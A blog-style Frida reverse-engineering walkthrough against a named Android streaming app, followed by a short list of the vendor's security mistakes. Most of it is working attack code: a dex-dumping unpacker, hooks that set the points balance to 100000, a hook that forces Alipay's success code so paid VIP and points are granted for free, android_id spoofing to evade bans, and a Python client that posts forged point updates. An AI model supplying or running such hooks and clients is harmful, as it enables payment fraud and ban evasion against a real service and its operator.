A Full-Stack Frida Walkthrough: Unpacking, Hooking, Simulated Packet Capture, and Protocol Analysis

About the author. I’m Colin Xiao — an independent reverse engineer, mostly working solo on contract jobs. I dig into compiled code of every kind, including but not limited to: Android and iOS apps, x86/x64/ARM native binaries, packers and obfuscators, DRM and license checks, network protocols and APIs, crypto and signature algorithms, malware, game binaries, and embedded/IoT firmware. I also handle large-scale data collection and vulnerability research. If you have any project in mind, I’d be glad to take it on — whatever it is, as long as it’s within my wheelhouse. Just reach out. You can reach me on X at @colinxiao_lab or on Telegram at https://t.me/ColinXiao666.

This research is published for educational and defensive purposes. The target sample is anonymized throughout.


A Full-Stack Frida Walkthrough: Unpacking, Hooking, Simulated Packet Capture, and Protocol Analysis

I’d been learning frida in fits and starts for a while. Then one sample forced me to string the whole toolbox together in sequence — unpacking, hooking, packet capture, and protocol analysis — an end-to-end run that finally made the tool click. This is that walkthrough, written for anyone else learning frida.

Two install gotchas first, since they cost me a day. On Python 3.7, pip install frida and pip install frida-tools would hang forever at Running setup.py install for frida .... The fix is to download the matching frida-xx.x.xx-py3.7-win-amd64.egg from PyPI, drop it into \Python37\Lib\site-packages, then pip3 install frida-tools (version-matched by release date), then easy_install frida-xx.x.xx-py3.7-win-amd64.egg.

The app

A video-streaming app: a bunch of free over-the-air TV channels and news, plus a points-gated section. The “points: 0” badge in the corner was the tell. Beyond the free channels, everything required spending points:

The points-gated sections

And behind the points sat a category list of explicit streams — clearly the app’s actual business:

The category list

Points and VIP are sold for cash:

Buying points and VIP

Quick recon showed a 360 shell on it, and Charles couldn’t capture traffic. So: unpack with frida first, deal with the capture problem later.

Unpacking

For the shell I used frida-unpack. Its trick: hook OpenMemory in libart.so, grab the in-memory dex address, compute its size, and dump the bytes out:

'use strict';
/**
 * This script was tested on:
 * android os: 7.1.2 32bit  (64-bit may need the OpenMemory signature changed)
 * legu: libshella-2.8.so
 * 360:  libjiagu.so
 */
Interceptor.attach(Module.findExportByName("libart.so", "_ZN3art7DexFile10OpenMemoryEPKhjRKNSt3__112basic_stringIcNS3_11char_traitsIcEENS3_9allocatorIcEEEEjPNS_6MemMapEPKNS_10OatDexFileEPS9_"), {
    onEnter: function (args) {

        // dex start address
        var begin = args[1]
        // print the magic
        console.log("magic : " + Memory.readUtf8String(begin))
        // dex fileSize offset
        var address = parseInt(begin,16) + 0x20
        // dex size
        var dex_size = Memory.readInt(ptr(address))

        console.log("dex_size :" + dex_size)
        // dump the dex to /data/data/pkg/
        var file = new File("/data/data/xxx.xxx.xxx/" + dex_size + ".dex", "wb")
        file.write(Memory.readByteArray(begin, dex_size))
        file.flush()
        file.close()
    },
    onLeave: function (retval) {
        if (retval.toInt32() > 0) {
            /* do something */
        }
    }
});

The README walks you through finding the OpenMemory export name in libart.so — pull the file, load it in IDA, and search the Exports window:

Finding OpenMemory in IDA

Straightforward in theory, but it errored out on me.

KeyError

First error was KeyError: 'payload'. The offending line was in the message handler:

KeyError

The offending handler

A print(message) showed message was actually an error dict — {'type': 'error', 'description': "TypeError: cannot read property 'readU8' of null", ...} — no payload key at all. So I rewrote on_message:

def on_message(message, data):
    if message['type'] == 'send':
        base = message['payload']['base']
        size = int(message['payload']['size'])
        print(hex(base), size)
    elif message['type'] == 'error':
        for i in message:
            if i == "type":
                print("[*] %s" % "error:")
                continue
            if type(message[i]) is str:
                print("[*] %s" %
                      i + ":\n    {0}".format(message[i].replace('\t', '    ')))
            else:
                print("[*] %s" %
                      i + ":\n    {0}".format(message[i]))
    else:
        print(message)

readU8

The readU8 error persisted, and it pointed at the last line of the JS:

readU8 error

A hint from another writeup: swap Module.findExportByName for Module.getExportByName to get the actual reason. Sure enough, a real message emerged:

The real reason

OpenMemory couldn’t be found by export name in libart.so. Strange. Let me just enumerate every export and see:

import frida
import sys

jscode = """

  var exports = Module.enumerateExportsSync("libart.so");
    for(var i=0;i<exports.length;i++){
        send("name:"+exports[i].name+"  address:"+exports[i].address);
     }

"""

def on_message(message, data):
    if message['type'] == 'send':
        print("[*] {0}".format(message['payload']))

process = frida.get_usb_device().attach("com.cz.babySister")
script = process.create_script(jscode)
script.on('message', on_message)
script.load()
sys.stdin.read()

It’s there:

OpenMemory is exported

So the name lookup fails but the symbol exists. Fine — hook the address directly instead. Wrap it in new NativePointer and it works. The modified OpenMemory.js:

src = """
var exports = Module.enumerateExportsSync("libart.so");
    for(var i=0;i<exports.length;i++){
        if(exports[i].name == "_ZN3art7DexFile10OpenMemoryEPKhjRKNSt3__112basic_stringIcNS3_11char_traitsIcEENS3_9allocatorIcEEEEjPNS_6MemMapEPKNS_10OatDexFileEPS9_"){
            var openMemory = new NativePointer(exports[i].address);
            }
     }

Interceptor.attach(openMemory, {
    onEnter: function (args) {

        var begin = args[1]

        console.log("magic : " + Memory.readUtf8String(begin))

        var address = parseInt(begin,16) + 0x20

        var dex_size = Memory.readInt(ptr(address))

        console.log("dex_size :" + dex_size)

        var file = new File("/data/data/%s/" + dex_size + ".dex", "wb")
        file.write(Memory.readByteArray(begin, dex_size))
        file.flush()
        file.close()

        var send_data = {}
        send_data.base = parseInt(begin,16)
        send_data.size = dex_size
        send(send_data)
    },
    onLeave: function (retval) {
        if (retval.toInt32() > 0) {
        }
    }
});
"""%(package)

Unpacked

Rerun — success:

frida-unpack succeeded

Two dex files dumped:

The two dumped dex files

Loading both into JEB, the app’s real logic lives in 5619552.dex. Unpacking done.

Hooking

With decompiled code in hand, points and VIP are a matter of finding the right class. My usual path: look at an activity that touches user data, find the imported UserInfo class, and check for getXxx()/setXxx() accessors.

Points

var userinfo = Java.use("com.cz.babySister.javabean.UserInfo");
userinfo.getJifen.implementation  = function(){
    return "100000";
}

getJifen

Worth noting: the locally-modified value gets uploaded to the server — logging in from a fresh emulator showed the same inflated balance. That’s the app trusting a client-reported value. We’ll come back to it.

VIP

Hooking getIsvip() / setIsvip() did nothing — VIP is granted server-side after a purchase. So instead I went the in-app-purchase route: flip the payment result.

var pay = Java.use("com.cz.babySister.alipay.q");pay.b.implementation = function(){    return "9000"}

The payment class

The hook turns the payment failure path into a success path (9000 is Alipay’s success code), after which the app fires off the “purchase this item” request:

The payment flow

The same hook also worked for buying points.

android_id

Why touch android_id at all? Because both my test accounts got banned. After a ban, freshly-registered accounts couldn’t reach the gated content — but the same new account from a different emulator could. That pointed at the device, not the account.

android_id is a 64-bit value the OS generates on first boot and stores as hex; a wipe resets it. Tracing the register request showed a parameter memi1 sourced from android_id. The server bans that id along with the account — so any request bearing a banned android_id is dropped:

memi1 sourced from android_id

One hook on the string getter and the emulator was usable again:

var sec = Java.use("android.provider.Settings$Secure");
sec.getString.implementation = function(arg1,arg2){
    return "5c80b60fc1f73307";
}

(Secure is an inner class of android.provider.Settings, so the hook target is android.provider.Settings$Secure.)

Simulated packet capture

Why Charles sees nothing

The capture failure had nothing to do with SSL. The decompiled request-construction code uses openConnection(Proxy.NO_PROXY):

openConnection with Proxy.NO_PROXY

A proxy-aware tool can’t intercept a socket that explicitly refuses to use a proxy.

Capture with frida

If Charles can’t see it, frida can — hook the request/response methods directly and print both sides. The request code lives in one class, com.cz.babySister.c.a, with three request methods:

The network class

Request methods

Request methods

Java.perform(function(){

    /*
    * simulated packet capture
    */

    var client = Java.use("com.cz.babySister.c.a")
    client.a.overload("java.lang.String","java.lang.String").implementation = function(arg1,arg2){
        send("capture **********************************************")
        send("request_url:"+arg1+arg2);
        var response_data1 = this.a(arg1,arg2);
        send("response_data:");
        send(response_data1)
        return response_data1;
    }


    client.a.overload("java.lang.String").implementation = function(arg1){
        send("capture **********************************************")
        send("request_url:"+arg1);
        var response_data2 = this.a(arg1);
        send("response_data:");
        send(response_data2)
        return response_data2;
    }

     client.b.overload("java.lang.String").implementation = function(arg1){
        send("capture **********************************************")
        send("request_url:"+arg1);
        var response_data3 = this.b(arg1);
        send("response_data:");
        send(response_data3)
        return response_data3;
    }

Some responses are one-line JSON; parse it in on_message for readability:

def on_message(message, data):
    if message['type'] == 'send':
        try:
           print(json.dumps(json.loads(message['payload'].encode('utf8')), sort_keys=True, indent=4, separators=(', ', ': '), ensure_ascii=False))
        except:
            print("[*] {0}".format(message['payload']))


    elif message['type'] == 'error':
        for i in message:
            if i == "type":
                print("[*] %s" % "error:")
                continue
            if type(message[i]) is str:
                print("[*] %s" %
                      i + ":\n    {0}".format(message[i].replace('\t', '    ')))
            else:
                print("[*] %s" %
                      i + ":\n    {0}".format(message[i]))
    else:
        print(message)

Login request and response:

Login request/response

After login, the app fires off its init requests — channel listings, section resources, app metadata:

Init requests

Init requests

Drony + Charles

For the openConnection(Proxy.NO_PROXY) case specifically, you can also pair Charles with Drony, a local VPN that forces traffic through a proxy. Config is documented elsewhere (jianshu links in the original). Flip Drony’s bottom switch to ON and it starts routing:

Drony

The captured login request and response:

Charles: login request

Charles: login response

Charles: response

The frida capture matches it — good confidence in both.

The complete hook script

import frida
import sys
import json

jscode = """
function log(){
    var Log = Java.use("android.util.Log");
    var Throwable = Java.use("java.lang.Throwable");
    console.log(Log.getStackTraceString(Throwable.$new()));
}


Java.perform(function(){

    /*
    * simulated packet capture
    */
    var client = Java.use("com.cz.babySister.c.a")
    client.a.overload("java.lang.String","java.lang.String").implementation = function(arg1,arg2){
        send("capture **********************************************")
        send("request_url:"+arg1+arg2);
        var response_data1 = this.a(arg1,arg2);
        send("response_data:");
        send(response_data1)
        return response_data1;
    }

    client.a.overload("java.lang.String").implementation = function(arg1){
        send("capture **********************************************")
        send("request_url:"+arg1);
        var response_data2 = this.a(arg1);
        send("response_data:");
        send(response_data2)
        return response_data2;
    }

     client.b.overload("java.lang.String").implementation = function(arg1){
        send("capture **********************************************")
        send("request_url:"+arg1);
        var response_data3 = this.b(arg1);
        send("response_data:");
        send(response_data3)
        return response_data3;
    }


    /*
    * hook UserInfo to change points; after spending once, the app uploads the new value to the server
    */
    var userinfo = Java.use("com.cz.babySister.javabean.UserInfo");
    userinfo.getJifen.implementation  = function(){
        return "100000";
    }


    /*
    * hook the return value: payment failure becomes success
    */
    var pay = Java.use("com.cz.babySister.alipay.q");
    pay.b.implementation = function(){
        return "9000"
    }


    /*
    * changing vip can trigger a ban; the server bans both the account and the android_id, so hook to spoof android_id
    */
    var sec = Java.use("android.provider.Settings$Secure")
    sec.getString.implementation = function(arg1,arg2){
        return "9774d56d682e549a"
    }

});
"""


def on_message(message, data):
    if message['type'] == 'send':
        try:
           print(json.dumps(json.loads(message['payload'].encode('utf8')), sort_keys=True, indent=4, separators=(', ', ': '), ensure_ascii=False))
        except:
            print("[*] {0}".format(message['payload']))


    elif message['type'] == 'error':
        for i in message:
            if i == "type":
                print("[*] %s" % "error:")
                continue
            if type(message[i]) is str:
                print("[*] %s" %
                      i + ":\n    {0}".format(message[i].replace('\t', '    ')))
            else:
                print("[*] %s" %
                      i + ":\n    {0}".format(message[i]))
    else:
        print(message)


process = frida.get_usb_device().attach('com.cz.babySister')
script = process.create_script(jscode)
script.on('message', on_message)
script.load()
sys.stdin.read()

Protocol analysis

With clean request/response visibility, protocol analysis is mostly reading. Let me walk register, login, score update, and VIP registration.

Register

Register an account and capture:

Register packet

The second request is registration. Parameters: name, pass, memi1, key, rightkey. Back in the code:

Register request construction

name and pass are credentials; memi1 is android_id (the ban key, as above). key turns out to be the app’s signature — verified server-side to block repackaging:

key generation

right_key is the X509Certificate public-key serial number:

rightkey generation

So the register protocol is trivial: the first three fields are attacker-controlled, the last two are fixed.

Login

Same shape as register, plus a login field:

Login request

Score update

Spending points sends a score-update request with time and sign. The sign is derived from time:

Score update request

Following the cross-reference to the sign generator: it’s just base64:

sign generation

VIP registration

Capturing the IAP-bypass flow, the second request registers VIP:

VIP registration packet

VIP registration code

Parameters: name, endviptime, startviptime, memi1, verson, viptime, key, rightkey — simple, no surprises.

A protocol client

With all of that, a minimal protocol client writes itself. One note from testing: memi1 (the android_id) gets banned fast, so it needs constant rotation; and I never got the VIP-register request to succeed from outside the app, so there’s likely extra server-side validation on that path.

import base64
import time

import requests
requests.packages.urllib3.disable_warnings()

class tv:
    def __init__(self):
        self.root = 'http://[redacted]/WebRoot/superMaster/Server'
        self.memi1 = "9774d56d682e549c"
        self.rightkey = "376035775"
        self.key = "308202d5308201bda00302010202041669d9bf300d06092a864886f70d01010b0500301b310b3009060355040613023836310c300a06035504031303776569301e170d3136303731383038313935395a170d3431303731323038313935395a301b310b3009060355040613023836310c300a0603550403130377656930820122300d06092a864886f70d01010105000382010f003082010a028201010095f85892400aae03ca4ed9dcd838d162290ae8dd51939aac6ecfde8282f207c4cd9e507929a279e0a36f1e4847330cb53908c92915b2c6a93d7064be452d073a472093f7ca14f4ab68f827582fe0988e9e4bc8a6ea3b56001cbbbb760f9eec571b0bbc97392e65aaf08c686f0e2ba353896d48a37c36716239977bd0e4dd878025cab497d8164537aec9f6599eefb98577dce972a1b794e211226520e23497beec3fd8548bb5b4d263120d40115cca28116bac32378df5033f536a0d7367fef78c587fefed28c5c9b35ba684ed6e46d9369c40950cf7ad7236d10b7a51dfd2a8f218db72323bbd19f46947410b1191f263012ad4ba8f749223e37591254ee7f50203010001a321301f301d0603551d0e041604143d43284bd5e4b0d322c9962a5b70aad4dcbc3634300d06092a864886f70d01010b050003820101000f04c51ff763311aa011777ba2842b441b15c316373d1e1ed4116cf86e29d55c6ed3fa4c475251b1fb4fac57195dbca0166ebe565d9834552a3758b97c4528bab1f7ab82bb3a9faa932f5bc10943f3daf52e0fe5889ffb58a6be67ea1c9a2fb37dc8aa6f3af476039a467336991a4e52dccd520195cd473eb5b984e702ed9ff638a14c3abb575a7a80ae4062084d1138a06a20e173be9df32df631311b07352898706198ddebaaa011f0da8e5f288f7cfb77505bc943f6476d6cc1feef56b68137aad91f23c4bb772169539d05653a6f0d75f7192164e822b934322f3a975df677903b1667f5dc1e9ddb185da3281d31bfb8f67a84bd23bbcb398f8bb637dd72"

    def post(self, data=None):
        if data is None:
            data = {}
        return requests.post(url=self.root,data=data)

    def register(self, name, password):
        ret = self.post({'name': name, 'pass': password, 'memi1': self.memi1, 'key': self.key, 'rightkey': self.rightkey})
        print("Register response data: ")
        print(ret.content.decode('utf-8'))


    def login(self, name, password ):
        ret = self.post({'name': name, 'pass': password, 'memi1': self.memi1, 'key': self.key, 'rightkey': self.rightkey, 'login' : 'login'})
        print("Login response data: ")
        print(ret.content.decode('utf-8'))

    def updateSocre(self,name,password,jifen):
        t = int(round(time.time() * 1000))
        sign = base64.b64encode(str(5 * t).encode('utf-8')).decode('utf-8')
        ret = self.post({'name' : name, 'pass' : password, 'jifen' : jifen, 'time' : t, 'sign' : sign})
        print("UpdataScore response data: ")
        print(ret.content.decode('utf-8'))

if __name__ == "__main__":
    tv = tv()
    # register
    print(tv.register("mee4", "mee4"))

    # login
    print(tv.login("mee4","mee4"))

    # update points
    print(tv.updateSocre("mee4","mee4","1000"))

What the vendor got wrong

This app looked defended: it had a shell, a time-derived sign verified server-side, a signature check to block repackaging, and proxy-resistant networking. Each one, in isolation, sounds reasonable. Each one collapsed under a single day of frida work — and the root causes are worth spelling out, because they generalize:

  1. The shell was the first and only real line of defense, and it was weak. All dex content was resident in memory and trivially dumped. A packer that loads everything into memory buys you almost nothing against an OpenMemory hook.
  2. The sign algorithm lived in the Java layer — and was just base64. A sign-derived-from-time scheme belongs in native code, not in a decompiled Java method an analyst reads in seconds.
  3. The signature check was also Java-layer. Repackaging defense only works if the check itself is hard to find and patch; putting it in Java makes it the easiest thing to find.
  4. No encrypted transport. Proxy-pinning (Proxy.NO_PROXY) frustrates a packet sniffer for about as long as it takes to write a frida hook. Real protection means encrypting the payload, with the crypto in native code.
  5. The anti-abuse key was just android_id. A value any rooted device spoofs in one line. An account ban that’s tied to a spoofable device identifier isn’t a ban.

The through-line is the classic bucket principle: the app’s security is its shortest plank, and every one of these planks was short. Often you don’t need to shell the whole app — a handful of high-leverage points, each hardened properly, is what actually raises the cost of attack.


Colin Xiao — I take on contract reverse-engineering work, and writeups like this are how I show what I can do. If you need help with anything in this space — including but not limited to the areas I cover above — I’m available. No project is too big or too small — if it’s reverse engineering and I can do it, I’ll take it. DM me on X (@colinxiao_lab) or Telegram (@ColinXiao666).

Get in touch